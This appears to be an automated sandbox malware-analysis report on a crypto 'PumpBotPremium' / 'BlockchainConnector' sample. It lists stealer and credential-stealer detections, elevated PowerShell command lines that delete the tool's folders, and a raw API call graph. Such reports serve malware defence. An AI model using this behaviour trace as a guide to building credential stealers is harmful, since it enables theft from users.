                                                                                                                                                                                                                                                • Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                • Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe, Author: Joe Security
                                                                                                                                                                                                                                                • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe, Author: Joe Security
                                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                                • Detection: 100%, Avira
                                                                                                                                                                                                                                                • Detection: 25%, ReversingLabs
                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:8
                                                                                                                                                                                                                                                Start time:17:05:22
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                                                                                                                                Imagebase:0x7ff689e90000
                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:11
                                                                                                                                                                                                                                                Start time:17:05:28
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10"
                                                                                                                                                                                                                                                Imagebase:0xa10000
                                                                                                                                                                                                                                                File size:433'152 bytes
                                                                                                                                                                                                                                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:12
                                                                                                                                                                                                                                                Start time:17:05:28
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:14
                                                                                                                                                                                                                                                Start time:17:05:31
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                                                                                                                                                                                                                                                Imagebase:0xa10000
                                                                                                                                                                                                                                                File size:433'152 bytes
                                                                                                                                                                                                                                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:15
                                                                                                                                                                                                                                                Start time:17:05:31
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:16
                                                                                                                                                                                                                                                Start time:17:05:31
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                                                                                                                                                                                                                                                Imagebase:0xa10000
                                                                                                                                                                                                                                                File size:433'152 bytes
                                                                                                                                                                                                                                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:17
                                                                                                                                                                                                                                                Start time:17:05:31
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:18
                                                                                                                                                                                                                                                Start time:17:05:31
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                                                                                                                                                                                                                                                Imagebase:0xa10000
                                                                                                                                                                                                                                                File size:433'152 bytes
                                                                                                                                                                                                                                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:19
                                                                                                                                                                                                                                                Start time:17:05:31
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:20
                                                                                                                                                                                                                                                Start time:17:05:32
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                                                                                                                                                                                                                                                Imagebase:0xa10000
                                                                                                                                                                                                                                                File size:433'152 bytes
                                                                                                                                                                                                                                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:21
                                                                                                                                                                                                                                                Start time:17:05:32
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                Disassembly

                                                                                                                                                                                                                                                Reset < >

                                                                                                                                                                                                                                                  Execution Graph

                                                                                                                                                                                                                                                  Execution Coverage:5.2%
                                                                                                                                                                                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                  Signature Coverage:17.6%
                                                                                                                                                                                                                                                  Total number of Nodes:2000
                                                                                                                                                                                                                                                  Total number of Limit Nodes:26
                                                                                                                                                                                                                                                  execution_graph 50242 2798a7 50243 27980f 50242->50243 50245 279b6c 50243->50245 50271 2798ca 50245->50271 50247 279b7c 50248 279bfd 50247->50248 50249 279bd9 50247->50249 50252 279c75 LoadLibraryExA 50248->50252 50253 279cd6 50248->50253 50256 279ce8 50248->50256 50260 279da4 50248->50260 50280 279b0a 6 API calls 3 library calls 50249->50280 50251 279be4 RaiseException 50266 279dd2 50251->50266 50252->50253 50254 279c88 GetLastError 50252->50254 50255 279ce1 FreeLibrary 50253->50255 50253->50256 50257 279cb1 50254->50257 50258 279c9b 50254->50258 50255->50256 50259 279d46 GetProcAddress 50256->50259 50256->50260 50281 279b0a 6 API calls 3 library calls 50257->50281 50258->50253 50258->50257 50259->50260 50262 279d56 GetLastError 50259->50262 50283 279b0a 6 API calls 3 library calls 50260->50283 50264 279d69 50262->50264 50263 279cbc RaiseException 50263->50266 50264->50260 50282 279b0a 6 API calls 3 library calls 50264->50282 50266->50243 50268 279d8a RaiseException 50269 2798ca DloadAcquireSectionWriteAccess 6 API calls 50268->50269 50270 279da1 50269->50270 50270->50260 50272 2798d6 50271->50272 50273 2798fc 50271->50273 50284 279973 GetModuleHandleW GetProcAddress GetProcAddress DloadReleaseSectionWriteAccess 50272->50284 50273->50247 50275 2798db 50276 2798f7 50275->50276 50285 279a9c VirtualQuery GetSystemInfo VirtualProtect DloadProtectSection 50275->50285 50286 2798fd GetModuleHandleW GetProcAddress GetProcAddress 50276->50286 50279 279b45 50279->50247 50280->50251 50281->50263 50282->50268 50283->50266 50284->50275 50285->50276 50286->50279 50287 213410 50288 21341c 50287->50288 50289 213454 50287->50289 50288->50289 50291 213200 50288->50291 50292 21320d 50291->50292 50295 27dd5e 50292->50295 50294 21321a RtlAllocateHeap 50294->50289 50296 27dda5 RaiseException 50295->50296 50297 27dd78 50295->50297 50296->50294 50297->50296 50298 21b290 50299 21b2c1 50298->50299 50300 21b3da 50298->50300 50299->50300 50302 21b2ca 50299->50302 50301 213200 2 API calls 50300->50301 50303 21b3e4 50301->50303 50318 21a450 50302->50318 50305 213200 2 API calls 50303->50305 50307 21b3ee 50305->50307 50306 21b2d8 50308 21b3ad 50306->50308 50309 21b365 50306->50309 50490 213540 50306->50490 50517 21bd60 91 API calls _ValidateLocalCookies 50309->50517 50312 21b395 50314 21b336 50505 214ba0 50314->50505 50319 21a497 50318->50319 50320 21adf9 50318->50320 50319->50320 50321 21a4a0 50319->50321 50322 213200 2 API calls 50320->50322 50323 21a53c 50321->50323 50325 213540 71 API calls 50321->50325 50324 21ae03 50322->50324 50518 27a797 50323->50518 50925 28156f 57 API calls 2 library calls 50324->50925 50328 21a4bb 50325->50328 50331 21ae33 50328->50331 50341 214ba0 59 API calls 50328->50341 50329 21ae08 50926 27afc7 58 API calls 2 library calls 50329->50926 50330 21a55c 50530 21c910 50330->50530 50336 213200 2 API calls 50331->50336 50334 21ae0f 50927 27afc7 58 API calls 2 library calls 50334->50927 50339 21ae3d 50336->50339 50340 213200 2 API calls 50339->50340 50344 21ae47 50340->50344 50345 21a4e8 50341->50345 50342 21ae16 50928 27afc7 58 API calls 2 library calls 50342->50928 50348 213200 2 API calls 50344->50348 50349 21a50c 50345->50349 50355 21a4fe 50345->50355 50352 21ae51 codecvt 50348->50352 50876 238250 149 API calls 50349->50876 50350 21ae1d 50929 2870a1 57 API calls 4 library calls 50350->50929 50931 216540 50352->50931 50358 214ba0 59 API calls 50355->50358 50356 21ae22 50930 27afc7 58 API calls 2 library calls 50356->50930 50357 21a51a 50357->50323 50358->50349 50362 21a5cf 50617 234900 50362->50617 50365 2137a0 59 API calls 50366 21af69 50365->50366 50368 27c1b4 codecvt 3 API calls 50366->50368 50370 21afb9 50368->50370 50371 2872b1 68 API calls 50370->50371 50373 21afee 50371->50373 50372 21a6bb 50638 216750 50372->50638 50375 21b133 50373->50375 50376 21afff 50373->50376 50949 27afc7 58 API calls 2 library calls 50375->50949 50378 21b144 50376->50378 50379 21b02e GetCurrentThreadId 50376->50379 50950 27afc7 58 API calls 2 library calls 50378->50950 50382 21b041 50379->50382 50383 21b14b 50379->50383 50386 27b02e 3 API calls 50382->50386 50951 27afc7 58 API calls 2 library calls 50383->50951 50384 21a6d7 50387 2137a0 59 API calls 50384->50387 50389 21b04f 50386->50389 50390 21a6fb 50387->50390 50391 21b152 50389->50391 50392 21b05a 50389->50392 50655 2162c0 50390->50655 50952 27afc7 58 API calls 2 library calls 50391->50952 50395 21b159 50392->50395 50396 21b07b 50392->50396 50953 2870a1 57 API calls 4 library calls 50395->50953 50399 21b0bd std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 50396->50399 50400 21b15e 50396->50400 50397 21a713 50401 2137a0 59 API calls 50397->50401 50427 21a8d1 50397->50427 50402 213f00 57 API calls 50399->50402 50954 28156f 57 API calls 2 library calls 50400->50954 50433 21a73f 50401->50433 50403 21b0ea 50402->50403 50405 213f00 57 API calls 50403->50405 50407 21b0f9 50405->50407 50406 213f00 57 API calls 50409 21a8f9 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 50406->50409 50410 213f00 57 API calls 50407->50410 50409->50324 50414 21a99f std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 50409->50414 50415 21b118 50410->50415 50411 21a9c7 50660 27c1b4 50411->50660 50412 21aaad 50688 2323d0 50412->50688 50413 2137a0 59 API calls 50417 21a8b6 50413->50417 50414->50411 50414->50412 50421 27c18f _ValidateLocalCookies 5 API calls 50415->50421 50419 2162c0 lstrcmpiW 50417->50419 50419->50427 50420 21a874 lstrcmpiW 50422 21a759 50420->50422 50425 21b12f 50421->50425 50422->50413 50422->50427 50425->50306 50427->50406 50427->50409 50428 21ab71 50430 213540 71 API calls 50428->50430 50429 21aaba 50435 2137a0 59 API calls 50429->50435 50432 21ab76 50430->50432 50431 21aa0e 50431->50329 50431->50356 50436 21aa40 GetCurrentThreadId 50431->50436 50432->50331 50434 21ab80 50432->50434 50433->50420 50433->50422 50440 21aba0 50434->50440 50441 21abab 50434->50441 50438 21aaf9 50435->50438 50436->50334 50437 21aa53 50436->50437 50682 27b02e WaitForSingleObjectEx 50437->50682 50446 2137a0 59 API calls 50438->50446 50877 214e80 50440->50877 50889 215150 50441->50889 50444 21aa6c 50444->50350 50457 21aa97 50444->50457 50447 21ab39 50446->50447 50705 21b3f0 50447->50705 50448 21aba9 50913 235810 87 API calls 50448->50913 50452 21abdf 50452->50457 50454 21aceb 50456 21ad57 50454->50456 50459 213540 71 API calls 50454->50459 50824 21c1d0 50456->50824 50457->50454 50457->50456 50461 213540 71 API calls 50457->50461 50463 21acf9 50459->50463 50464 21ac31 50461->50464 50462 21ad65 50842 24bfe0 50462->50842 50463->50344 50465 21ad03 50463->50465 50464->50339 50466 21ac3b 50464->50466 50471 214ba0 59 API calls 50465->50471 50469 214ba0 59 API calls 50466->50469 50467 21ad84 50468 21ad99 Sleep 50467->50468 50470 21ada4 50467->50470 50468->50470 50472 21ac5b 50469->50472 50475 213f00 57 API calls 50470->50475 50473 21ad23 50471->50473 50914 2373a0 86 API calls 50472->50914 50916 233c00 84 API calls 50473->50916 50479 21add9 50475->50479 50477 21ac70 50480 21ac9b 50477->50480 50486 21ac8d 50477->50486 50478 21ad2e 50917 238250 149 API calls 50478->50917 50918 27c18f 50479->50918 50915 238250 149 API calls 50480->50915 50484 21ad39 50484->50456 50485 21adf3 50485->50306 50488 214ba0 59 API calls 50486->50488 50487 21acac 50487->50454 50488->50480 50491 213578 50490->50491 50503 2135cc 50490->50503 51354 27c537 EnterCriticalSection 50491->51354 50493 27c537 6 API calls 50495 2135e6 50493->50495 50494 213582 50496 21358e GetProcessHeap 50494->50496 50494->50503 50504 213657 50495->50504 51361 27c849 59 API calls 50495->51361 51359 27c849 59 API calls 50496->51359 50499 2135bb 51360 27c4ed EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 50499->51360 50500 213646 51362 27c4ed EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 50500->51362 50503->50493 50503->50504 50504->50303 50504->50314 50508 214bc6 ___crtCompareStringW 50505->50508 50512 214c31 codecvt 50505->50512 50506 213200 2 API calls 50507 214c7c 50506->50507 50511 214c10 codecvt 50508->50511 50508->50512 51364 2150e0 59 API calls 50508->51364 50510 214c5f 50516 238250 149 API calls 50510->50516 50511->50512 51365 28194e 14 API calls __dosmaperr 50511->51365 50512->50506 50512->50510 50514 214c4d 51366 28155f 57 API calls ___std_exception_copy 50514->51366 50516->50309 50517->50312 50519 27a7a3 __EH_prolog3 50518->50519 50955 27a9d6 50519->50955 50524 27a7c1 50969 27a91c 59 API calls std::locale::_Setgloballocale 50524->50969 50525 27a7df 50961 27aa2e 50525->50961 50526 27a81c codecvt 50526->50330 50528 27a7c9 50970 21a0f0 14 API calls 3 library calls 50528->50970 50531 27a9d6 std::_Lockit::_Lockit 7 API calls 50530->50531 50532 21c952 50531->50532 50533 27a9d6 std::_Lockit::_Lockit 7 API calls 50532->50533 50539 21c99c 50532->50539 50535 21c974 50533->50535 50534 21c9e8 50536 27aa2e std::_Lockit::~_Lockit 2 API calls 50534->50536 50537 27aa2e std::_Lockit::~_Lockit 2 API calls 50535->50537 50538 21cae3 50536->50538 50537->50539 50540 27c18f _ValidateLocalCookies 5 API calls 50538->50540 50539->50534 50542 27c1b4 codecvt 3 API calls 50539->50542 50541 21a56f 50540->50541 50555 218780 50541->50555 50543 21c9f6 50542->50543 50975 223510 57 API calls 3 library calls 50543->50975 50545 21ca0e 50976 218d20 84 API calls 3 library calls 50545->50976 50547 21ca2a 50977 27b20c 57 API calls __Getcoll 50547->50977 50549 21ca66 50978 219ff0 83 API calls 3 library calls 50549->50978 50551 21ca89 50979 2139b0 57 API calls 2 library calls 50551->50979 50553 21ca9e 50980 27a765 RaiseException EnterCriticalSection LeaveCriticalSection codecvt 50553->50980 50556 27a9d6 std::_Lockit::_Lockit 7 API calls 50555->50556 50557 2187cf 50556->50557 50558 27a9d6 std::_Lockit::_Lockit 7 API calls 50557->50558 50563 218819 50557->50563 50559 2187f1 50558->50559 50561 27aa2e std::_Lockit::~_Lockit 2 API calls 50559->50561 50560 27aa2e std::_Lockit::~_Lockit 2 API calls 50562 218986 50560->50562 50561->50563 50576 21c740 50562->50576 50564 218871 50563->50564 50565 27c1b4 codecvt 3 API calls 50563->50565 50564->50560 50566 21887f 50565->50566 50981 218d20 84 API calls 3 library calls 50566->50981 50568 2188b2 50982 27adef 57 API calls 2 library calls 50568->50982 50570 2188fa 50983 27aa8a 57 API calls 3 library calls 50570->50983 50572 21890d 50984 219ff0 83 API calls 3 library calls 50572->50984 50574 21894f 50985 27a765 RaiseException EnterCriticalSection LeaveCriticalSection codecvt 50574->50985 50577 27c1b4 codecvt 3 API calls 50576->50577 50578 21c7d3 50577->50578 50986 21d910 50578->50986 50583 21c885 51005 21d840 50583->51005 50584 21c8fc 51016 21d350 58 API calls 50584->51016 50590 21c898 51012 223730 50590->51012 50592 21a596 50593 21cd80 50592->50593 50594 21cdb8 50593->50594 50595 21cdcc 50593->50595 50594->50362 51045 21d0e0 58 API calls codecvt 50595->51045 50597 21cdf9 51046 21dcc0 58 API calls codecvt 50597->51046 50600 21ce0e 50609 21ce12 50600->50609 51047 21d9c0 58 API calls _ValidateLocalCookies 50600->51047 50601 21ceac 51052 21d280 57 API calls 2 library calls 50601->51052 50604 21ce7f 51050 21dcc0 58 API calls codecvt 50604->51050 50605 21cec2 50608 223730 57 API calls 50605->50608 50610 21ced7 50608->50610 51051 21d280 57 API calls 2 library calls 50609->51051 51053 21d280 57 API calls 2 library calls 50610->51053 50612 21cef9 50614 223730 57 API calls 50612->50614 50616 21cf17 50614->50616 50615 21ce4c 50615->50604 50615->50609 51048 21dcc0 58 API calls codecvt 50615->51048 51049 21d9c0 58 API calls _ValidateLocalCookies 50615->51049 50616->50362 51054 22c4e0 50617->51054 50619 21a681 50620 2137a0 50619->50620 50621 213875 50620->50621 50623 2137b4 50620->50623 51101 213a40 58 API calls 50621->51101 50624 2137ed 50623->50624 50626 2137c0 codecvt 50623->50626 50627 213870 50623->50627 50630 213837 50623->50630 50624->50627 50631 21381f 50624->50631 50625 213825 50637 21382c codecvt 50625->50637 51102 28156f 57 API calls 2 library calls 50625->51102 50626->50372 51100 213e70 RaiseException _com_raise_error codecvt 50627->51100 50636 27c1b4 codecvt 3 API calls 50630->50636 50630->50637 50635 27c1b4 codecvt 3 API calls 50631->50635 50635->50625 50636->50637 50637->50372 51103 211f20 50638->51103 50640 216797 51121 216820 50640->51121 50644 2167c5 50645 2167e6 50644->50645 51153 212260 58 API calls 3 library calls 50644->51153 50647 213f00 57 API calls 50645->50647 50648 2167f5 50647->50648 50649 27c18f _ValidateLocalCookies 5 API calls 50648->50649 50650 21680c 50649->50650 50651 213f00 50650->50651 50652 213f4e std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 50651->50652 50654 213f2d 50651->50654 50652->50384 50654->50384 50654->50651 50654->50652 51162 28156f 57 API calls 2 library calls 50654->51162 50657 2162d7 50655->50657 50658 216369 50655->50658 50656 2163fd 50656->50397 50657->50397 50658->50656 50659 2163e6 lstrcmpiW 50658->50659 50659->50397 50662 27c1b9 ___std_exception_copy 50660->50662 50661 21a9d5 50667 2872b1 50661->50667 50662->50661 50664 27c1d5 codecvt 50662->50664 51163 28a364 EnterCriticalSection LeaveCriticalSection codecvt 50662->51163 50665 27dd5e _com_raise_error RaiseException 50664->50665 50666 27d03c 50665->50666 50668 2872be 50667->50668 50669 2872d2 50667->50669 51164 28194e 14 API calls __dosmaperr 50668->51164 51166 287261 17 API calls 2 library calls 50669->51166 50672 2872de 50675 2872e7 CreateThread 50672->50675 50680 287312 50672->50680 50673 2872c3 51165 28155f 57 API calls ___std_exception_copy 50673->51165 50677 287306 GetLastError 50675->50677 50675->50680 51169 287155 63 API calls 2 library calls 50675->51169 50676 2872ce 50676->50431 51167 2818f4 14 API calls __dosmaperr 50677->51167 51168 2871d3 16 API calls ___free_lconv_mon 50680->51168 50681 28731d 50681->50431 50683 21aa61 50682->50683 50684 27b045 50682->50684 50683->50342 50683->50444 50685 27b062 CloseHandle 50684->50685 50686 27b04c GetExitCodeThread 50684->50686 50685->50683 50686->50683 50687 27b05d 50686->50687 50687->50685 50689 232418 GetCurrentProcess OpenProcessToken 50688->50689 50690 23242f GetLastError 50689->50690 50691 23243c GetTokenInformation 50689->50691 50692 2324e4 50690->50692 50693 23248b 50691->50693 50694 23245f GetLastError 50691->50694 50697 23250f CloseHandle 50692->50697 50698 23251d 50692->50698 50695 232491 AllocateAndInitializeSid 50693->50695 50696 2324de GetLastError 50693->50696 50694->50696 50699 23246a 50694->50699 50695->50692 50700 2324c2 EqualSid FreeSid 50695->50700 50696->50692 50697->50698 50701 27c18f _ValidateLocalCookies 5 API calls 50698->50701 51170 232540 50699->51170 50700->50692 50704 21aab2 50701->50704 50704->50428 50704->50429 50706 21b46e 50705->50706 50707 213540 71 API calls 50706->50707 50712 21b475 50707->50712 50708 21bd2c 50709 213200 2 API calls 50708->50709 50710 21bd36 50709->50710 51227 213a40 58 API calls 50710->51227 50712->50708 50714 21b49f 50712->50714 50716 21b4b0 50712->50716 50713 21bd3b 50718 213200 2 API calls 50713->50718 50715 214e80 68 API calls 50714->50715 50719 21b4ae 50715->50719 50716->50716 50717 215150 59 API calls 50716->50717 50717->50719 50720 21bd45 50718->50720 51177 23f470 50719->51177 51228 28156f 57 API calls 2 library calls 50720->51228 50724 21bd4a 51229 213a40 58 API calls 50724->51229 50728 2137a0 59 API calls 50731 21b529 50728->50731 50730 21b627 50732 211f20 59 API calls 50730->50732 50731->50710 50731->50730 51217 212ba0 58 API calls 2 library calls 50731->51217 50733 21b635 50732->50733 50734 211f20 59 API calls 50733->50734 50736 21b65a 50734->50736 50738 216820 59 API calls 50736->50738 50737 21b5cf 50739 213f00 57 API calls 50737->50739 50740 21b669 50738->50740 50741 21b5e1 50739->50741 50742 216af0 58 API calls 50740->50742 50743 213f00 57 API calls 50741->50743 50744 21b67c 50742->50744 50743->50730 51201 216410 50744->51201 50746 21b68f 50747 21b6a5 50746->50747 51218 286f25 58 API calls 2 library calls 50746->51218 50749 213f00 57 API calls 50747->50749 50750 21b6d5 50749->50750 50751 213f00 57 API calls 50750->50751 50752 21b6e1 50751->50752 50753 21baa8 50752->50753 50754 21b6ee 50752->50754 51224 212260 58 API calls 3 library calls 50753->51224 50755 2137a0 59 API calls 50754->50755 50757 21b712 50755->50757 51219 215ed0 58 API calls codecvt 50757->51219 50758 21babf 51225 231560 61 API calls 3 library calls 50758->51225 50761 21b729 50764 213540 71 API calls 50761->50764 50762 21bad9 51226 216df0 58 API calls 50762->51226 50768 21b73f 50764->50768 50768->50713 50769 21b769 50768->50769 50770 21b77a 50768->50770 50771 214e80 68 API calls 50769->50771 50772 215150 59 API calls 50770->50772 50773 21b778 50771->50773 50772->50773 50776 23f470 165 API calls 50773->50776 50780 21b7b7 50776->50780 51220 212260 58 API calls 3 library calls 50780->51220 50786 21b7de 50787 213f00 57 API calls 50786->50787 50794 21b82f std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 50787->50794 50793 213540 71 API calls 50797 21b891 50793->50797 50794->50720 50794->50793 50797->50708 50799 21b8bb 50797->50799 50802 21b8cc 50797->50802 50801 214e80 68 API calls 50799->50801 50805 21b8ca 50801->50805 50802->50802 50803 215150 59 API calls 50802->50803 50803->50805 50807 22c4e0 82 API calls 50805->50807 50809 21b90b codecvt 50807->50809 50809->50724 51221 212ba0 58 API calls 2 library calls 50809->51221 50811 21b9f3 51222 215ed0 58 API calls codecvt 50811->51222 50825 213540 71 API calls 50824->50825 50826 21c200 50825->50826 50827 21c20a 50826->50827 50828 21c2af 50826->50828 51314 21c3e0 50827->51314 50829 213200 2 API calls 50828->50829 50830 21c2b9 50829->50830 50831 213200 2 API calls 50830->50831 50833 21c2c3 50831->50833 50833->50462 50835 21c28b 51331 21c4c0 